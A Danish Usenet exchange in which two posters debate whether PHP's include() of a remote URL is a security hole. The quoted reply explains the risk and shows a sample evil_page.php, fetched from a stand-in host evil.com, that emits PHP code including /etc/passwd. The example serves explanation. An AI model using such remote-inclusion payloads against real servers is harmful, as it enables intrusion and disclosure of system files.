Sikker på det ? Det er jeg ikke.
lad os sige jeg har en *.txt fil som ser sådan her ud:
echo "Kalkun";
Nu får jeg så min php-side til at inkludere *.txt-filer (ekstrent) og hvad
gør den så ?
Hvis den udførte koden og udskrev "Kalkun" (altså uden ") er jeg enig i at
det ville være et stort sikerhedshul, men det gør den ikke.
I stedet udskriver min php-fil "echo "Kalkun";" og derfor vil der være
ligemeget hvor onde mine scripts er. De vil ikke kunne lave skade på
serveren.
Nu brugte jeg selvfølgelig kun en *.txt-fil, men det var for at undgå
forvirring.
jeg kunne vel lige så godt have brugt en php-fil som udskriver noget
php-kode (som du viser), men det kan mit script som inkluderer det hele jo
ikke se forskel på.
er det mig som er helt galt på det ?
Det tror jeg ikke. (men tør ikke æde en eller gammel hat på det)
mvh
Arvid Böttiger
"Lars Dybdahl" <lars@dybdahl.dk> wrote in message
news:3e6cb239$0$42576$edfadb0f@dread11.news.tele.dk...
> Arvid Böttiger wrote:
> > der ikke kommer til at stå include("
http://evil.com/evil_page.php").
> > Men hvorfor det ?
>
> To årsager:
>
> 1) Jo, hvis siden indeholder php, så vil det blive eksekveret!!!
> 2) Fordi DNS systemet ikke er 100% hackersikret, og at evil.com derfor kan
> pege på hvad som helst.
>
> Et eksempel på en evil_page.php, der ikke er god, er denne:
>
> <?php
> echo "<? include (\"/etc/passwd\"); ?>";
> ?>
>
> evil_page genererer med andre ord noget, som resulterer i php-kode, som
> include() så vil udføre.
>
> Lars.
>
> --
> Freelance programmør
> Programmering mod timebetaling